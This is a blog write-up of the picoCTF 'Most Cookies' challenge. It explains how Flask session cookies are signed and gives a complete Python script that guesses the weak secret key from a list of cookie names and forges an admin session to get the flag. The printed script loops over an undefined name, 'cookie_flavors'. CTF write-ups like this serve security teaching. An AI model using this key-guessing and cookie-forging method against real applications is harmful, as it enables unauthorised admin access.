April 30, 2021By Katrina Lee← Back to Blog

Most Cookies


image

Think

It's another cookie manipulation challenge!! Woo-hoo! To learn the basics of cookie manipulation with Chrome DevTools, take a look at my writeup for the Cookies challenge.

Okay. We know that the server is using Flask session cookies, so let's do some research on how they are encrypted and how secure they are. The cookie is divided into three parts, each separated by a period. Looking at eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YFJUTg.P2yjtXbLscemve2adpeyuJA3WBU, for example, we have:

  • eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9 - session data - a dictionary encoded in Base64
  • YFJUTg - timestamp, which tells the server when the data was last updated
  • P2yjtXbLscemve2adpeyuJA3WBU - SHA-1 cryptographic hash - calculated using the session data, timestamp, and secret key (app.secret_key in the Flask app script)

Aha! There's the vulnerability! The "secure" Flask cookie is only as secure as its secret key. If we know the secret key, we can generate a cookie with our own session data, tricking the server into thinking that it's valid.

Great. Now, let's peek into the server.py file provided to see if we can figure out the secret key. On lines 6 - 7, we have the following code:

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

It seems that the secret key is simply being generated by randomly selecting a cookie name from the cookie_names list! Well, that's wonderful, because all we have to do is try each of the cookie names as the secret key until one of them is considered valid!

Let's keep looking through server.py. Nothing really stands out until we get to the flag() function at line 43. If we request the /display endpoint - simply by visiting the provided URL with /display at the end (http://mercury.picoctf.net:6259/display) - the server checks to see if the very_auth key in the session dictionary has a value of admin. So, the (decoded) session cookie should look like this: {"very_auth": "admin"}. If this requirement is met, then we get the flag! Awesome!

If we do a little more research on how Flask session cookies are signed and hashed, we'll come across one major thing: the cookie is salted with a known string: "cookie-session". Not very secure.

Solve

Okay, now let's write a script to get our modified session.

First, we need to import a couple of modules:

  • from itsdangerous import TimestampSigner as tsigner, URLSafeTimedSerializer as serializer, Signer - to unsign the old session and sign the new one with timestamps
  • from flask.json.tag import TaggedJSONSerializer - to create a new session
  • import hashlib - to encrypt with session with a SHA-1 hash
  • import requests - in my writeup for the Cookies challenge, I used the urllib module to work with HTTP requests, so I'll show you how to do it with requests for this challenge

Let's set our URL and data constants:

URL = "http://mercury.picoctf.net:6259/"
data = {"very_auth": "admin"}

Let's also copy & paste the cookie_names list from server.py

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]

Okay now, let's get our original session cookie so we can unsign and validate it. There are many ways we can go about this:

  1. DevTools
  2. EditThisCookie - visit the website and use this browser extension to see the cookies
  3. Burp Suite
  4. cURL - if you're on Linux, make a curl request to the server and retrieve the request headers with curl -v http://mercury.picoctf.net:6259/

For each of the above methods, once you acquire the cookie value, simply copy & paste it into the script: old_session = eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YFJUTg.P2yjtXbLscemve2adpeyuJA3WBU. Keep in mind that the session cookie (and thus, the secret key) seems to change periodically, so don't just copy this one here.

  1. Python (recommended) - dynamically retrieve cookie value with a Session object

    s = requests.Session()
    s.get(URL)
    old_session = s.cookies.get_dict()["session"]

Now, let's loop through each cookie in cookie_name, create a signature with the cookie name as the secret key, and unsign that signature. If this process raises no errors (meaning the unsigning was successful), then we can break out of the loop and use this cookie name as our secret key:

for secret in cookie_flavors:
    try:
        signature = tsigner(secret_key=secret, salt="cookie-session", key_derivation="hmac", digest_method=hashlib.sha1).unsign(old_session)
    except:
        continue
    break

Then, with our newly-acquired secret key and the session data, we can create a new session cookie using a similar process:

new_session = serializer(
    secret_key=secret,
    salt="cookie-session",
    serializer=TaggedJSONSerializer(),
    signer=tsigner,
    signer_kwargs={
        "key_derivation":"hmac",
        "digest_method":hashlib.sha1
    }
).dumps(data)

Lastly, we want to make another HTTP GET request to the website with new_session as the new session cookie and print out the response.

response = requests.get(URL, cookies=dict(session = new_session))
print(response.text)

We can now run this script like so: python3 most_cookies.py. The alternative is to make the script print out the new session, and use curl -v http://mercury.picoctf.net:6259/display -H 'Cookie: session={new_session} to make the HTTP request.

And...we got the flag! picoCTF{pwn_4ll_th3_cook1E5_5f016958}

Notes

  1. Reminder: for every module that you do not yet have installed on your system, make sure to install it with pip, a package manager. For example, type python3 -m pip install itsdangerous into the terminal.
  2. Why are we requesting the / endpoint and not the /display? Well, according to line 16 of server.py, the website redirects to the /display route if the value of the very_auth key in the session dictionary is not blank. Recall the data variable we defined earlier: data = {"very_auth": "admin"}. As you can see, very_auth is not blank. So we can simply request the / root, using the same URL variable we defined earlier; there is no need to specifically request the /display endpoint, since we will be redirected there anyways.

Resources

You can find the full script below or here as a file.

from itsdangerous import TimestampSigner as tsigner, URLSafeTimedSerializer as serializer, Signer
from flask.json.tag import TaggedJSONSerializer
import hashlib
import requests

URL = "http://mercury.picoctf.net:6259/"
data = {"very_auth": "admin"}

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]

s = requests.Session()
s.get(URL)
old_session = s.cookies.get_dict()["session"]

for secret in cookie_flavors:
	try:
		signature = tsigner(secret_key=secret, salt="cookie-session", key_derivation="hmac", digest_method=hashlib.sha1).unsign(old_session)
	except:
		continue
	break

new_session = serializer(
	secret_key=secret,
	salt="cookie-session",
	serializer=TaggedJSONSerializer(),
	signer=tsigner,
	signer_kwargs={
		"key_derivation":"hmac",
		"digest_method":hashlib.sha1
	}
).dumps(data)

response = requests.get(URL, cookies=dict(session = new_session))
print(response.text)